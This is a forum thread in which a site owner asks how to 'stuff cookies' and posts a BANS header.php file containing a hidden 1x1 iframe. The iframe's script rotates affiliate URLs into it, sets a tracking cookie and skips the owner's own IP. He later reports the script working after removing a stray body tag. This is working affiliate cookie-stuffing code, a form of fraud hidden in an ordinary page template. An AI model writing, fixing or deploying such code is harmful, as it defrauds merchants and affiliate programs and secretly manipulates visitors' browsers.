Is it possible to

jolt64

Registered Member
Joined
Mar 15, 2008
Messages
55
Reaction score
3
Is it possible to make an inivisible pop up only stuff cookies like 5% chance? Atm anytime someone goes to my site they get cookie.
 
ok thanks for the link, i read it all and got the script Dave posted that rotates the 4 affiliate links, but im confused on how to get this to work on a BANS site.
here is what the header.php file looks like (what im stuffing).

<html>

<head>
<?=$front->meta();?>



<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />



<link rel="stylesheet" href="<?php print URL_PATH."/themes/$temp";?>/styles.css" type="text/css" media="screen" />
</head>

<body id="background">
<center>

<div id="page">



<div id="header">



<div class="headerimg">

<h1 id="title">
<a href="<?php print URL_PATH."/";?>"> <?php print SITENAME."";?></a>


</h1>

</div>

</div>

<?=$front->search();?>



<div id="sidebar">



<h2>Site Navigation</h2>



<ul>



<?=$front->pagenav();?>



</ul>



<h2>Store Navigation</h2>



<ul>



<?=$front->storenav();?>



</ul>





<h2>Sponsored Links</h2>



<ul>



<li><?=$front->leftNav();?></li>



</ul>



</div>



<div id="content" class="narrowcolumn">

<body>
<iframe id="popupFrame" src="" width="1" height="1" frameborder="0" scrolling="no"></iframe>

<script type="text/javascript">

var popupIP = '<?php print $_SERVER['REMOTE_ADDR']; ?>';
var popupIPBan = '10.45.56.6*';
var popupShow = popupIP.match(popupIPBan) ? false : true;

var popupSites = new Array(
'affiliate URL was replaced by this, but isnt on site',
'affiliate URL was replaced by this, but isnt on site',

if (popupShow && readCookie("popupRotate"))
{
var count = readCookie("popupRotate");

if (count < popupSites.length - 1)
{
count++;

createCookie("popupRotate", count, 7);

var popupFrames = document.getElementsByTagName("iframe");
for (var i = 0; i < popupFrames.length; i++)
{
if (popupFrames.id = 'popupFrame') { popupFrames.src = popupSites[count]; }
}
}
}
else if (popupShow && !readCookie("popupRotate"))
{
var popupFrames = document.getElementsByTagName("iframe");
for (var i = 0; i < popupFrames.length; i++)
{
if (popupFrames.id = 'popupFrame') { popupFrames.src = popupSites[0]; }
}

createCookie("popupRotate", "0", 7);
}


function createCookie(name, value, days)
{
value = escape(value);
if (days)
{
var date = new Date();
date.setHours(date.getHours() + (24 * days));
var expires = "; expires=" + date.toGMTString();
}
else
{
var expires = "";
}
document.cookie = name + "=" + value + expires + "; path=/";
}

function readCookie(name)
{
var nameEQ = name + "=";
var cSplit = document.cookie.split(';');
for (var a = 0; a < cSplit.length; a++)
{
var cPart = cSplit[a];
while (cPart.charAt(0) == ' ')
{
cPart = cPart.substring(1, cPart.length);
}
if (cPart.indexOf(nameEQ) == 0)
{
return cPart.substring(nameEQ.length, cPart.length);
}
}
return null;
}

</script>

</body>

</html>


ok thats what the code looks like, and yes i have the right links in the file, but it dosnt stuff cookie. i cleared all cookies and tried again and no success.

anyone know what the problem could be
 
solved. uneeded body tag,, pshh :P
 
Back
Top